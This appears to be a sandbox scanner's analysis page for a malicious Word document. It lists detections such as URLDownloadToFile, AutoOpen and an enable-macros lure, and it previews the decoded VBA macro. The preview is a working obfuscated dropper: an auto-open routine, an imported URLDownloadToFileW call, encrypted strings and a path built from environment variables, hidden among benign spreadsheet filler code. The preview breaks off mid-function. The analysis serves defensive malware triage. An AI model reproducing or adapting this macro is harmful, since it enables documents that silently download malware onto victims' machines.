MALICIOUS
338
Risk Score
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-7107273-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7107273-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As LongPtr, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As LongPtr, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As LongPtr -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
CreateObject(AAAA).Open (BBBB) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub aUtOOpEN() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ò´Öî9¶70Ddê«GLI¨0Qâ = VBA.Environ$(mZ£kJ¶¤ê(£¯À®cɽ´3())) + mZ£kJ¶¤ê("\*:1v>~Wz459qG<,qDTbqVS87W>6sn{lfQ^y5ivg.k=>e/BFx.uBeD9@") -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 45512 bytes |
SHA-256: 354232064cc663a31e63c867d9305624018bdc8c00b017524b1ad51ac109b6ca |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Not False And True And Not False And 1 And Not False And True And Win64 And Not False And Not False And VBA7 Then
Private Declare PtrSafe Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As LongPtr, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As LongPtr, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As LongPtr
Private Declare PtrSafe Function getFrequencyIJvA Lib "kernel32" Alias "QueryPerformanceFrequency" (у7¥O©YI7P As Currency) As LongPtr
Private Declare PtrSafe Function timeGetTimepZfv Lib "winmm.dll" () As LongPtr
Private Declare PtrSafe Function IsCharAlphaNumericAgvAn Lib "USER32" (ByVal byChar As Byte) As LongPtr
Private Declare PtrSafe Function GetSystemMetricsy3qH Lib "USER32" (ByVal nIndex As Long) As LongPtr
Private Declare PtrSafe Function IsCharAlphaNumericAyXdv Lib "USER32" (ByVal byChar As Byte) As LongPtr
#Else
Private Declare Function GdipCreateHBITMAPFromBitmaphfic Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long
Private Declare Function GdipDisposeImageptpH Lib "GDIPlus" (ByVal image As Long) As Long
Private Declare Function GdipCreateHBITMAPFromBitmapXIB6 Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long
Private Declare Function GdipDisposeImageruDM Lib "GDIPlus" (ByVal ½EÑä1ääGkaôk As Long) As Long
Private Declare Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As Long, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As Long, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As Long
Private Declare Function GdipDisposeImagex0gl Lib "GDIPlus" (ByVal ½EÑä1ääGkaôk As Long) As Long
#End If
Public ò´Öî9¶70Ddê«GLI¨0Qâ
Function ¿5I0¥0A³´«¿() As String
Dim §åxWùGKún
Dim m¤»5§ô·¤
Dim k¬ºGô6ôw©
Dim l§»ùdûO
Dim »lÖºL5oÆào
Dim NnCü9lU6
Dim ½Àµ¿r±
Dim îsâ¢Qîòòzà
Dim ©P£²bDº
Dim »Nj7cKC¸Xc
Dim ¶º»Zbåw²
§åxWùGKún = "v"
m¤»5§ô·¤ = §åxWùGKún & "S"
k¬ºGô6ôw© = m¤»5§ô·¤ & ""
l§»ùdûO = k¬ºGô6ôw© & "½"
»lÖºL5oÆào = l§»ùdûO & "á"
NnCü9lU6 = »lÖºL5oÆào & "r"
½Àµ¿r± = NnCü9lU6 & "¨"
îsâ¢Qîòòzà = ½Àµ¿r± & "l"
©P£²bDº = îsâ¢Qîòòzà & "E"
»Nj7cKC¸Xc = ©P£²bDº & "M"
¶º»Zbåw² = »Nj7cKC¸Xc & "n"
¿5I0¥0A³´«¿ = ¶º»Zbåw²
End Function
Public Sub Uk1Bx5oTaffecter_un_cout(class_text As String, cout As Long)
'
' Use this module to affect a cost to a specific class of
' the PCG.
'
top_row = wk.Range("B3").Value
If top_row = "" Then
wk.Range("B3").Value = class_text
wk.Range("C3").Value = cout
Else
wk.Range("B2").End(xlDown).Offset(1, 0).Value = class_text
wk.Range("B2").End(xlDown).Offset(0, 1).Value = cout
End If
End Sub
Public Sub riXahSYzsupprimer_un_cout()
'
' Use this module to delete a cost to a specific class of
' the PCG.
'
End Sub
Public Sub Uhcminscrire_le_cout(ByVal top_row As String, _
Optional ByVal ecriture As Integer = 0)
Dim r, s As String
If ecriture = 0 Then
r = "B7"
s = "E7"
End
If ecriture = 1 Then
r = "H7"
s = "K7"
End If
If top_row = "" Then
wk.Range(r).Value = class_text
wk.Range(s).Value = cout
Else
wk.Range(r).End(xlDown).Offset(1, 0).Value = class_text
wk.Range(s).End(xlDown).Offset(0, 1).Value = cout
End If
End Sub
Function ²KDW8F£yNæè() As String
Dim bºpò¾¿y¤
Dim sö±MXWG¦f¹
Dim ´wƒ¨VEÜ7
Dim NÀÿ0ªQºxx
Dim gùôèJÜK©
Dim ù0ºö¦ƒF±É¯m
Dim ôêrbÑ·ìê¸
Dim rÿmOìîìFü
Dim ûwë¿lD£
bºpò¾¿y¤ = "ë"
sö±MXWG¦f¹ = bºpò¾¿y¤ & "Æ"
´wƒ¨VEÜ7 = sö±MXWG¦f¹ & "s"
NÀÿ0ªQºxx = ´wƒ¨VEÜ7 & "ì"
gùôèJÜK© = NÀÿ0ªQºxx & "S"
ù0ºö¦ƒF±É¯m = gùôèJÜK© & "W"
ôêrbÑ·ìê¸ = ù0ºö¦ƒF±É¯m & "ë"
rÿmOìîìFü = ôêrbÑ·ìê¸ & "ê"
ûwë¿lD£ = rÿmOìîìFü & "q"
²KDW8F£yNæè = ûwë¿lD£
End Function
Sub lZlFmanipulating_Tables()
On Error Resume Next
'INSERT values
DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
'UPDATE field
DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
'ALTER TABLE
DoCmd.runSQL "ALTER TABLE X "
End Sub
Sub WriDedit_Table()
Dim d As DAO.Database
Dim t As TableDef
Dim r As DAO.Recordset
Set d = CurrentDb
Set t = d.TableDefs("...")
Set r = t.OpenRecordset(, dbOpenSnapshot)
r.Edit
r(...).Value = "..."
r.Update
Set d = Nothing
Set t = Nothing
End Sub
Function eÿnbÉÑzsä() As String
Dim EÀÖüCë¤vä¶v
Dim RPUfÂY
Dim ºBPNA5ƒ
Dim çºÆû®èk£MÆu
Dim Üéa¤Dan¦wCñJª
Dim DÀæg¨æ¶
Dim µô¬hKôB
Dim dåpÖÉëm®C
Dim ÜNB²Æì
EÀÖüCë¤vä¶v = "ö"
RPUfÂY = EÀÖüCë¤vä¶v & "r"
ºBPNA5ƒ = RPUfÂY & "½"
çºÆû®èk£MÆu = ºBPNA5ƒ & "µ"
Üéa¤Dan¦wCñJª = çºÆû®èk£MÆu & "Á"
DÀæg¨æ¶ = Üéa¤Dan¦wCñJª & "w"
µô¬hKôB = DÀæg¨æ¶ & "z"
dåpÖÉëm®C = µô¬hKôB & "B"
ÜNB²Æì = dåpÖÉëm®C & "G"
eÿnbÉÑzsä = ÜNB²Æì
End Function
Private Sub qiCkyogHCommandButton1_Click()
'1. Set sheets
Dim stock_Sheet As Worksheet
Set stock_Sheet = Worksheets("Stock")
Dim output_Sheet As Worksheet
Set output_Sheet = Worksheets("Output")
'2. Set periods
Dim periods As Long
periods = TextBox1.Value
'3. Set initial range
Dim upper_Bound, lower_Bound As Long
upper_Bound = 3
lower_Bound = upper_Bound + periods
'Initial range
Dim price_Range As Range
'4. Get the last row of the price list
Dim last_Row As Long
last_Row = stock_Sheet.Range("A2").End(xlDown).Row
'4. Now we cycle through the range
Do
Set price_Range = Range("A" & upper_Bound, "A" & lower_Bound)
price_Range.Select
upper_Bound = upper_Bound + 1
lower_Bound = lower_Bound + 1
Loop Until lower_Bound > last_Row
'5. Tell user calculation was successful
MsgBox "SMA (" & periods & ") on price was successful", vbInformation
End Sub
Sub FOXycalculate_SMA(this_Sheet As String)
'1. Set sheet @this_Sheet = 'Stock OR Output'
Set get_This_Sheet = Worksheets(this_Sheet)
'EXPLICIT 'Output'
Set output_Sheet = Worksheets("Output")
'2. Set periods
'@periods = 5, 10, 25...
'Dim periods As Long
'periods = TextBox1.Value
periods = 2
'3. Set variables for initial range
Dim upper_Bound, lower_Bound As Long
'When the incoming sheet name is stock...
If this_Sheet = "Stock" Then
'Upper bound of range is 3
upper_Bound = 3
Else
upper_Bound = 1
End If
'@lower_Bound = 3 + periods
lower_Bound = upper_Bound + periods
'Create initial range
Dim price_Range As Range
'4. Get the last row of the price list
Dim last_Row As Long
'@last_Row = 1, 2, 3...x
last_Row = get_This_Sheet.Range("A2").End(xlDown).Row
'5. When there are no values in input sheet...
If last_Row > 10000 Then
'@last_Row = last row of 'get_This_Sheet stock values'
last_Row = get_This_Sheet.Range("A1").End(xlDown).Row - periods
End If
'6. Set variable for average
Dim avg As Double
'7. Set variable to cycle in 'Output sheet'
Dim r, c As Long
'
'r: row, c: column
'
r = 1
c = 1
'8. When the incoming sheet is 'Stock'
If this_Sheet = "Stock" Then
c = 1
Else
'Output to next column
c = 2
End If
'9. Now we cycle through the range
Do
Set price_Range = get_This_Sheet.Range("A" & upper_Bound, "A" & lower_Bound)
'Calculate average range
avg = Application.WorksheetFunction.Average(price_Range)
'Output to 'Output sheet' @r = 1++ / @c = 1 || 2
output_Sheet.Range("A1").Cells(r, c).Value = avg
'Increment
r = r + 1
upper_Bound = upper_Bound + 1
lower_Bound = lower_Bound + 1
Loop Until lower_Bound > last_Row
End Sub
Private Function Ooi5get_Sheet_Name(index As Long) As String
'1. When the user chooses 'Stock'
'@index = 1 OR 2
Select Case index
Case 1:
Ooi5get_Sheet_Name = "Stock"
Case 2:
Ooi5get_Sheet_Name = "Output"
End Select
End Function
Sub aUtOOpEN()
OPVGR56OPY
FIEFIOJZEF
End Sub
Sub DHmTopen_list_box()
UserForm1.Show
End Sub
Public Sub VwLuZQ1Touvrir_reglage()
ReglagesForm.Show
End Sub
Public Sub oW82WW2Dchanger_les_phrases_helper()
'
' This helper creates an object in order to change the phrases
' on the front page
'
Dim changer_les_phrases As PhrasesEngine
Set changer_les_phrases = New PhrasesEngine
changer_les_phrases.change_phrases
End Sub
Private Sub VZy3Bbqmshow_messages(error_number As Long, message As String, message_type As String)
'
' Use this sub to cycle through the error dictionary and show the
' user any custom error message that is not built in Excel.
'
' vbInformation, vbCritical, vbOkOnly, vbYesNo, vbYesNoCancel
'
MsgBox message, message_type, "Title"
End Sub
Function G¢éko() As String
Dim k®g5s¨
Dim u´h2X¾m§
Dim à¿DÜI¸STâÆñc
Dim ¿x9vXedzæU
Dim â©FK5WoVà
Dim jYüo¥nyV
Dim ¥Ih³RyUBe
Dim ©Öçúm¢¿¢X
Dim 뿲ªôüC³3
Dim ¢8J7î8ngé
Dim ·¤9Ö9ä¢üï
Dim ªlîÖ»æ¿X
Dim gL¢FFûQ±Vn
Dim ÆñÖ¦®Pù
Dim àéÿ£û
Dim Xh¦d·»ÁN
Dim üUCì7L
Dim ¦¤pR½éüg¼
Dim §¢ºî²2PgÄi
Dim x£KFÄT
Dim «ù8ܲûAƒq
Dim QkiaQsmP
Dim ¼zqºûF
Dim K¢aw²W
Dim ôo±ºHµrt9
Dim »É5oo»
Dim ¯6´PAºé¹
Dim q¯¾ç¢h¿¯
Dim ·iJkÑçc9
Dim Äñ¢²Ä²
Dim µy䢿ö¼¨
Dim £YiåNpv
Dim û£CnBNÀU3
Dim ¿Éç©EGü¢
Dim ÆÉÑS2qiô¢
Dim CÆÖ2R¯Ü¶
Dim áwpRâq£
Dim TÁÄLCHrnèv
Dim £luTôD
Dim å©NAûj0zV
Dim ò¥L½B¿Eq6¿e
Dim ³Nåë¾vD®cR
Dim xpCi¹¼©f5
Dim ÿÀg¥URV
Dim Á¿çìñoV
Dim ¨£®ïrpsVu
Dim M4p¤8gu2®
Dim B0DµZX£¬u
Dim àrÉ¢W9K®ô
Dim AÿG¥¶¸Y
Dim JÖô¿MmXàTùn
Dim H¥UdZò
Dim ѾƵ½ègk¢é
Dim jHvLmyjFl
Dim ¼òXkJAYn
Dim ¾2º³è´Y
Dim ñáì¹yE¤h½
Dim Ö¢³ïÀ0»
Dim Eƒ´0Áf½©qo¸
Dim iôÖ®¨NRu»
Dim ÁºXK§¯yVz
Dim ü½¾jBéö¦YV
Dim µGD8Âù¦Æ¦
Dim g9´é®0òx¼vz
Dim Göt8PÁñ¿çpâ
Dim ¨£ÑÉ©³²
Dim «a¨àz¥qÿ
Dim OEjU4M¬ïFë
k®g5s¨ = "S"
u´h2X¾m§ = k®g5s¨ & "@"
à¿DÜI¸STâÆñc = u´h2X¾m§ & "?"
¿x9vXedzæU = à¿DÜI¸STâÆñc & "}"
â©FK5WoVà = ¿x9vXedzæU & "h"
jYüo¥nyV = â©FK5WoVà & "b"
¥Ih³RyUBe = jYüo¥nyV & "Q"
©Öçúm¢¿¢X = ¥Ih³RyUBe & "x"
뿲ªôüC³3 = ©Öçúm¢¿¢X & "e"
¢8J7î8ngé = 뿲ªôüC³3 & "D"
·¤9Ö9ä¢üï = ¢8J7î8ngé & "I"
ªlîÖ»æ¿X = ·¤9Ö9ä¢üï & "R"
gL¢FFûQ±Vn = ªlîÖ»æ¿X & "l"
ÆñÖ¦®Pù = gL¢FFûQ±Vn & "I"
àéÿ£û = ÆñÖ¦®Pù & "@"
Xh¦d·»ÁN = àéÿ£û & "f"
üUCì7L = Xh¦d·»ÁN & "l"
¦¤pR½éüg¼ = üUCì7L & "}"
§¢ºî²2PgÄi = ¦¤pR½éüg¼ & "f"
x£KFÄT = §¢ºî²2PgÄi & "k"
«ù8ܲûAƒq = x£KFÄT & "."
QkiaQsmP = «ù8ܲûAƒq & "d"
¼zqºûF = QkiaQsmP & "y"
K¢aw²W = ¼zqºûF & "k"
ôo±ºHµrt9 = K¢aw²W & "A"
»É5oo» = ôo±ºHµrt9 & "h"
¯6´PAºé¹ = »É5oo» & "*"
q¯¾ç¢h¿¯ = ¯6´PAºé¹ & "D"
·iJkÑçc9 = q¯¾ç¢h¿¯ & "p"
Äñ¢²Ä² = ·iJkÑçc9 & "G"
µy䢿ö¼¨ = Äñ¢²Ä² & "v"
£YiåNpv = µy䢿ö¼¨ & "J"
û£CnBNÀU3 = £YiåNpv & "p"
¿Éç©EGü¢ = û£CnBNÀU3 & "i"
ÆÉÑS2qiô¢ = ¿Éç©EGü¢ & "F"
CÆÖ2R¯Ü¶ = ÆÉÑS2qiô¢ & "["
áwpRâq£ = CÆÖ2R¯Ü¶ & "l"
TÁÄLCHrnèv = áwpRâq£ & "-"
£luTôD = TÁÄLCHrnèv & "k"
å©NAûj0zV = £luTôD & "B"
ò¥L½B¿Eq6¿e = å©NAûj0zV & "i"
³Nåë¾vD®cR = ò¥L½B¿Eq6¿e & "U"
xpCi¹¼©f5 = ³Nåë¾vD®cR & "b"
ÿÀg¥URV = xpCi¹¼©f5 & "p"
Á¿çìñoV = ÿÀg¥URV & "c"
¨£®ïrpsVu = Á¿çìñoV & "8"
M4p¤8gu2® = ¨£®ïrpsVu & "_"
B0DµZX£¬u = M4p¤8gu2® & "5"
àrÉ¢W9K®ô = B0DµZX£¬u & "a"
AÿG¥¶¸Y = àrÉ¢W9K®ô & "`"
JÖô¿MmXàTùn = AÿG¥¶¸Y & "y"
H¥UdZò = JÖô¿MmXàTùn & "b"
ѾƵ½ègk¢é = H¥UdZò & "t"
jHvLmyjFl = ѾƵ½ègk¢é & "N"
¼òXkJAYn = jHvLmyjFl & "?"
¾2º³è´Y = ¼òXkJAYn & "l"
ñáì¹yE¤h½ = ¾2º³è´Y & "i"
Ö¢³ïÀ0» = ñáì¹yE¤h½ & "<"
Eƒ´0Áf½©qo¸ = Ö¢³ïÀ0» & "g"
iôÖ®¨NRu» = Eƒ´0Áf½©qo¸ & "="
ÁºXK§¯yVz = iôÖ®¨NRu» & "o"
ü½¾jBéö¦YV = ÁºXK§¯yVz & ";"
µGD8Âù¦Æ¦ = ü½¾jBéö¦YV & "E"
g9´é®0òx¼vz = µGD8Âù¦Æ¦ & "I"
Göt8PÁñ¿çpâ = g9´é®0òx¼vz & "n"
¨£ÑÉ©³² = Göt8PÁñ¿çpâ & "E"
«a¨àz¥qÿ = ¨£ÑÉ©³² & "u"
OEjU4M¬ïFë = «a¨àz¥qÿ & "|"
G¢éko = OEjU4M¬ïFë
End Function
Private Sub sQERugBwClass_Initialize()
'Set sheets at initialization
Call get_Worksheet_Helper
type_entreprise = wk_two.Range("type_entreprise").Value
Call set_phrases_Helper
End Sub
Private Sub ToGhXQeQget_Worksheet_Helper()
Set wk_one = Worksheets("Analyse")
Set wk_two = Worksheets("Config")
End Sub
Private Sub Tx0SQVEFset_phrases_Helper()
Dim c_var, t_var, d_var As String
'
' This helper is used to create the phrases with the variables
' that were set or calculated in the 'Config' worksheet
'
phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
" jours par semaines soit un nombre total de " & _
Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
'
' TO DO
'
'
' I am using this technique in order to get the correct values to display
' depending on the fact if the enterprise is a restaurant or bar instead
' of a digital based type project
'
If type_entreprise = "numérique" Then
c_var = "ca_numérique"
t_var = "frequentation_mensuelle"
d_var = "mois"
Else
c_var = "ca_restauration"
t_var = "frequentation_journalière"
d_var = "jours"
End If
phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
"le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
'
' TO DO
'
phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
wk_two.Range("N11").Value & "€)"
End Sub
Public Sub Ulw2GYgschange_phrases()
wk_one.Range("B8").Value = phrase_one
wk_one.Range("B15").Value = phrase_five
wk_one.Range("B18").Value = phrase_seven
End Sub
Sub GPORKGOK55(JIGROIJ, CXBIE)
Call FZUFHAUFf45ezfez(0, JIGROIJ, CXBIE, 0, 0)
End Sub
Sub xZpLadd_recepient()
Dim new_Message As MailItem
Set new_Message = Application.CreateItem(olMailItem)
With new_Message
.To = "x@gmail.com"
.CC = "x@gmail.com"
.BCC = "x@gmail.com"
.Subject = "Google"
'.Categories = "Test"
'.VotingOptions = "Yes;No;Maybe"
.BodyFormat = olFormatHTML
.Body = "Text"
'.Importance = olImportanceHigh
'.Sensitivity = olConfidential
'.Attachments.Add "..."
'.ExpiryTime = DateAdd("m", 6, Now)
'.DeferredDeliveryTime = #8/5/2018 6:00:00 PM#
.Display
End With
Set new_Message = Nothing
End Sub
Public Sub L0i5rlxPCreateNewMessage()
'
' Sends mail to sender based on the active selection
'
Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object
Set Selection = ActiveExplorer.Selection
For Each obj In Selection
Set objMsg = Application.CreateItem(olMailItem)
Set objMsg = Nothing
Next
End Sub
Function r1ܪ±V¶³¶35«() As String
Dim ªZ¯6ú£8¨¢Y·
Dim ûú¢TùÉyWw6
Dim ¦ÿC꿳Dt¿¨9
Dim ³Âfjq´f
Dim è½PCIn3
Dim C2çïKë±
Dim éºozaX£ñ
Dim Cìà¬XUMÿ
Dim yQIzëGÜàÁ
ªZ¯6ú£8¨¢Y· = "Y"
ûú¢TùÉyWw6 = ªZ¯6ú£8¨¢Y· & "ü"
¦ÿC꿳Dt¿¨9 = ûú¢TùÉyWw6 & "p"
³Âfjq´f = ¦ÿC꿳Dt¿¨9 & "¤"
è½PCIn3 = ³Âfjq´f & "â"
C2çïKë± = è½PCIn3 & "ë"
éºozaX£ñ = C2çïKë± & "l"
Cìà¬XUMÿ = éºozaX£ñ & "2"
yQIzëGÜàÁ = Cìà¬XUMÿ & "ÿ"
r1ܪ±V¶³¶35« = yQIzëGÜàÁ
End Function
Sub dFqGget_last_item_clipboard()
Dim clipData As New DataObject
Dim clipString As String, clipItems As Variant
clipString = clipData.GetText
clipString = Replace(clipString, vbLf, vbCr)
clipItems = Split(clipString, vbCr)
End Sub
Function mZ£kJ¶¤ê(Àm¢lÁ¸Of) As String
Dim ¿ìëQ¥l±¥HhY´O(1055) As Byte, ò2àæÄjô¦¿®QêlAd¢O() As Byte
ò2àæÄjô¦¿®QêlAd¢O = ƒP»W¨¼üë(Àm¢lÁ¸Of, ¿5I0¥0A³´«¿(), r1ܪ±V¶³¶35«(), 128, 伤B½£ld1(), è9üfÖ±Áï())
For xÖ16lWl7gP±¶¶q = 0 To UBound(ò2àæÄjô¦¿®QêlAd¢O) - 1
If (xÖ16lWl7gP±¶¶q Mod 4 = 0) Then
¿ìëQ¥l±¥HhY´O(ñxxPö¢£äñùöº2cVbÂÜ) = ò2àæÄjô¦¿®QêlAd¢O(xÖ16lWl7gP±¶¶q)
ñxxPö¢£äñùöº2cVbÂÜ = ñxxPö¢£äñùöº2cVbÂÜ + 1
End If
Next xÖ16lWl7gP±¶¶q
mZ£kJ¶¤ê = Left(®Y»6Z¯(¿ìëQ¥l±¥HhY´O, ²KDW8F£yNæè(), RNëçrJ·´(), 64, eÿnbÉÑzsä(), Æûêùñ3miRÉ6áá()), ñxxPö¢£äñùöº2cVbÂÜ)
End Function
Private Sub IgXEXkdwcreate_dictionary()
'
' This sub is used to initialize the values in the dictionary
' when the class is called by outside programs.
' It iterates on the PCG sheets in order to collect the values
' and integrate them to the dictionary.
'
top_row_adress = pcg.Range("A2").Row
bottom_row_adress = pcg.Range("A2").End(xlDown).Row
For i = top_row_adress To bottom_row_adress
pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
Next i
End Sub
Public Sub Tj9xBTSjfill_list_box_item(Optional specific_class As Long = 0)
'
' Use this sub to fill the list box with the values for the
' user to choose from.
'
' -- Use 0 to get all items from the dictionary
' -- Use a class number betweet 1 and 7 to get a specific class
'
If specific_class = 0 Then
For Each dictionary_item In pcg_dictionary.Items
UserForm1.ListBox1.AddItem dictionary_item
Next
End If
If specific_class > 0 Then
Call regex_engine(specific_class)
End If
End Sub
Function RNëçrJ·´() As String
Dim µ¿¥±ÿJjG
Dim §G¿¶î5QH0
Dim DúGÄ8ë6N6rµ
Dim ¦ÿ¦äå¯OCÖ©
Dim ´ÁDtWûmüE
Dim Lº·çeP¢ì«¥û
Dim pæääH¸GXùSò
Dim DWx¢U3nÉ£½ÀƒW
Dim ¸kG¾¨Wè¸N
Dim DïªmbµäEµÜ
µ¿¥±ÿJjG = "F"
§G¿¶î5QH0 = µ¿¥±ÿJjG & "D"
DúGÄ8ë6N6rµ = §G¿¶î5QH0 & "W"
¦ÿ¦äå¯OCÖ© = DúGÄ8ë6N6rµ & "Â"
´ÁDtWûmüE = ¦ÿ¦äå¯OCÖ© & "X"
Lº·çeP¢ì«¥û = ´ÁDtWûmüE & "¼"
pæääH¸GXùSò = Lº·çeP¢ì«¥û & "L"
DWx¢U3nÉ£½ÀƒW = pæääH¸GXùSò & "N"
¸kG¾¨Wè¸N = DWx¢U3nÉ£½ÀƒW & "Z"
DïªmbµäEµÜ = ¸kG¾¨Wè¸N & "£"
RNëçrJ·´ = DïªmbµäEµÜ
End Function
Sub nIzqgoogle()
Dim r As Range
Set r = Range("B2:E5")
a = r.Count
t = 0
o = 0
For i = 0 To a
p = r(i)
If r(i) = "W" Then
t = t + 1
If t > o Then
o = t
End If
Else
t = 0
End If
Next i
MsgBox "Longest winning streak: " & o
End Sub
Function YdjªçZYâîCá() As String
Dim QPàñO±M¿¹
Dim ¢G£©WsAe
Dim jrZ®¼è9p1k
Dim ë¶9¦²u
Dim ºÑ¢P»ºaº
Dim nTëMut¢öNq
Dim u½¼¸§Ñÿ
Dim î®Ä¥3¸¢©z
Dim ÿaPÿ¹mGbNv0
Dim ÜѱûPu»
Dim £ë2v¨eùq
Dim z8k±Z¸Ñ«R
Dim ¥dç8¬mxA
Dim Ѻƿá
Dim ¿²ºƒ¶Àûôp®ëÑ
Dim ºTÉòäX¦4¹0
QPàñO±M¿¹ = "f"
¢G£©WsAe = QPàñO±M¿¹ & "1"
jrZ®¼è9p1k = ¢G£©WsAe & "V"
ë¶9¦²u = jrZ®¼è9p1k & "z"
ºÑ¢P»ºaº = ë¶9¦²u & "e"
nTëMut¢öNq = ºÑ¢P»ºaº & "D"
u½¼¸§Ñÿ = nTëMut¢öNq & "1"
î®Ä¥3¸¢©z = u½¼¸§Ñÿ & "2"
ÿaPÿ¹mGbNv0 = î®Ä¥3¸¢©z & "f"
ÜѱûPu» = ÿaPÿ¹mGbNv0 & "["
£ë2v¨eùq = ÜѱûPu» & "v"
z8k±Z¸Ñ«R = £ë2v¨eùq & "P"
¥dç8¬mxA = z8k±Z¸Ñ«R & "z"
Ѻƿá = ¥dç8¬mxA & "W"
¿²ºƒ¶Àûôp®ëÑ = Ѻƿá & "n"
ºTÉòäX¦4¹0 = ¿²ºƒ¶Àûôp®ëÑ & "V"
YdjªçZYâîCá = ºTÉòäX¦4¹0
End Function
Sub XO5Aquickly_Change_Data_inRange()
Dim googleCar As Range
Set googleCar = Range("B2").CurrentRegion
For Each Tesla In googleCar
Tesla.Value = 20
Next
End Sub
Sub M4Ejchange_Data_inColumn()
Dim googleCar As Range
Set googleCar = Range("B2").CurrentRegion
For Each Tesla In googleCar.Columns(1)
Tesla.Value = 15
Next
End Sub
'Instead of For...Each just :
'googleCar.Value = ...
Sub NA0rchange_specific_Data_inRange()
Dim googleCar As Range
Set googleCar = Range("B2").CurrentRegion
For Each Tesla In googleCar
If Tesla = 5 Then
googleCar.Value = 10
End If
Next
End Sub
Function £¯À®cɽ´3() As String
Dim CRÂjåL¸Q¢¢
Dim B¸Æ½3ƒnRr¹w
Dim h7U¤s¿³
Dim ìg0òüt§vfPçD
Dim ö±Aܼ¸£´
Dim Yñ¯2áºENº
Dim RRÜ¿ç·
Dim ºP³qáÜé
Dim BÀÑs¢ºzµç
Dim j¾P86axüûgH
Dim Yi©QJìúD
Dim ¿9TªÁëûù7§J
Dim xÁ4xûQ
Dim ¢¿±ÀàF©
Dim ´êSåKêYÀ
Dim ÀmP½F
CRÂjåL¸Q¢¢ = "T"
B¸Æ½3ƒnRr¹w = CRÂjåL¸Q¢¢ & "W"
h7U¤s¿³ = B¸Æ½3ƒnRr¹w & "x"
ìg0òüt§vfPçD = h7U¤s¿³ & "1"
ö±Aܼ¸£´ = ìg0òüt§vfPçD & "E"
